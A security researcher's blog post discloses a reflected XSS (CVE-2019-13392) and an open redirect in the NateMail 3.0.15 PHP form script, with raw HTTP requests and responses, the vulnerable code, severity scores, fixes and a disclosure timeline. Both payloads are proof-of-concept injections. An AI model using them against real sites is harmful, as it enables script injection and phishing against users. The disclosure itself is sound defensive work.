Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
I recently found a pair of NateMail vulnerabilities, and I wanted to publish them now that it’s been over ninety days.
NateMail Vulnerabilities – Introduction
The NateMail version 3.0.15 PHP Script is vulnerable to an XSS attack, as well as an open redirect.
That said, the developer hasn’t updated this in years, and it isn’t on their site. You can find a copy of the library here, if you wish to use it or verify my findings.
Also, I did not find many copies of this library, and the fixes are simple enough. With that in mind, I’m ok posting this now.
As far as the “Open Redirect” is concerned, MITRE will not assign a CVE ID. For information, see the following post.
Improper Neutralization of Input During Web Page Generation (“Cross-Site Scripting”) (CVE-2019-13392)
Detailed Information
A reflected Cross-Site Scripting (XSS) vulnerability in the NateMail application allows an attacker to execute remote JavaScript in a victim's browser via a specially crafted POST request.
The application will reflect the input if it is not in the recipient array. Note that this array uses integers by default, so any string input will be invalid.
The following screenshot shows a benign payload alerting the document.domain to a user.
The following raw HTTP request and response show the location of this crafted payload.
Raw Request
POST /NateMail.php HTTP/1.1
Host: 172.20.3.160:8123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3055.0 Safari/537.36 autochrome/yellow
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 59
recipient=%3cscript%3ealert(document.domain)%3c%2fscript%3e
Raw Response
HTTP/1.1 200 OK
Host: 172.20.3.160:8123
Connection: close
X-Powered-By: PHP/5.6.30
Content-type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
<title>Form Results</title>
...<snip>...
<br> <br><span class="MPerror">No email address was found in the recipients list with key number "<script>alert(document.domain)</script>"<br>
No "recipient" field was included, or the "recipient" value was empty.<br>
</span><br> <br>
</td>
</tr>
...<snip>...
Affected URLs and Parameters / Limiting Factors
The recipient parameter of NateMail.php is the injection point.
As the application does not require authentication, the only limiting factor is the requirement of a POST request.
Recommendations
All user input should be properly sanitized and output properly encoded. The application should have a list of all allowed values for user input. Finally, you should encode or remove the output on line 379 of NateMail.php to prevent this attack.
$errors .= "No email address was found in the recipients list with key number \"$thisRecipKey\"<br>$le";
NateMail Vulnerabilities – Severity
Severity: Medium
CVSSv3
6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Damage
An attacker can use this vulnerability to attack the NateMail application and/or lead to exploitation of the victim's browser and system.
Reproducibility
This attack is easily reproducible and will work on any system using NateMail up to version 3.0.15.
Exploitability
If an attacker can convince a victim to click a specially crafted link (such as a phishing link), then this reduces the difficulty of this attack. Note that this attack requires a POST request, with the request coming from a form that the attacker controls. After the browser sends the request, the rest of the attack is automated.
Discovery
This attack was easy to discover, and any attacker would be able to find it.
URL Redirect to Untrusted Site (“Open Redirect”)
Detailed Information
The NateMail application contains a redirect function that does not validate the destination URL before redirecting. If the request contains a valid recipient ID (“0” should always work), then the redirect parameter will forcefully redirect users to any provided URL.
The following raw HTTP request and response show this attack in action with a redirect to Google.
Raw Request
POST /NateMail.php HTTP/1.1
Host: 172.20.3.160:8123
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3055.0 Safari/537.36 autochrome/yellow
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 46
recipient=0&redirect=http:%2f%2fwww.google.com
Raw Response
HTTP/1.1 302 Found
Host: 172.20.3.160:8123
Connection: close
X-Powered-By: PHP/5.6.30
Location: http://www.google.com
Content-type: text/html; charset=UTF-8
Affected URLs and Parameters / Limiting Factors
The redirect parameter of NateMail.php is the injection point.
As the application does not require authentication, the only limiting factor is the requirement of a POST request.
Recommendations
You should validate any values passed against a list of trusted URLs. This should occur within the checks and header modifications beginning on line 638 of NateMail.php.
// Redirect if specified, adding query string to URL with form results for extraction...
if ($redirect != "") {
$printHTML = false;
if ($redirect_type == "include") {
include("$redirect");
} else if ($redirect_type == "query") {
$queryArray = "";
$q = 0;
for ($n=0; $n<count($displayArray); $n++) {
if ($displayArray[$n]['value'] != "") {
$queryPair = MPParseRedirectData($displayArray[$n]['key'])."=".MPParseRedirectData($displayArray[$n]['value']);
if ($queryPair != "=") {
$queryArray[$q] = $queryPair;
$q++;
}
}
}
$redirectPage = "Location: $redirect";
if (is_array($queryArray)) $redirectPage .= "?".implode("&", $queryArray);
header($redirectPage);
exit;
} else {
header("Location: $redirect");
exit;
}
}
}
NateMail Vulnerabilities – Severity
Severity: Medium
CVSSv3
6.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
Damage
An attacker could use this redirect in a phishing attack, or even compromise user systems with malware.
Reproducibility
This attack is easily reproducible and will work on any system using NateMail up to version 3.0.15.
Exploitability
If an attacker can convince a victim to click a specially crafted link (such as a phishing link), then this reduces the difficulty of this attack. Note that this attack requires a POST request, with the request coming from a form that the attacker controls. After the browser makes the request, the rest of the attack is automated.
Discovery
This attack was easy to discover, and any attacker would be able to find it.
NateMail Vulnerabilities – Disclosure Timeline
5/9 – Vulnerabilities found.
5/27 – Findings reported (no response).
5/31 – CVEs requested.
6/13 – Reached out to the dev again (no response).
7/7 – CVE assigned (CVE-2019-13392).
8/10 – This post published.
NateMail Vulnerabilities – Conclusion
While these were some simpler vulns, it was nice to go through the updated CVE process. I have a few more in the works, and I will probably go through the process again. Please let me know if you have any ideas for the post format.
That said, I plan on more research and exploits in the near future though, so stay tuned.
If you have any ideas for blog posts, then please let me know!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.
2 Comments
Leave a Reply
This site uses Akismet to reduce spam. Learn how your comment data is processed.
[…] CVE-MISCMISCMISC […]
[…] Finally, this post will follow the same format as my last disclosure. […]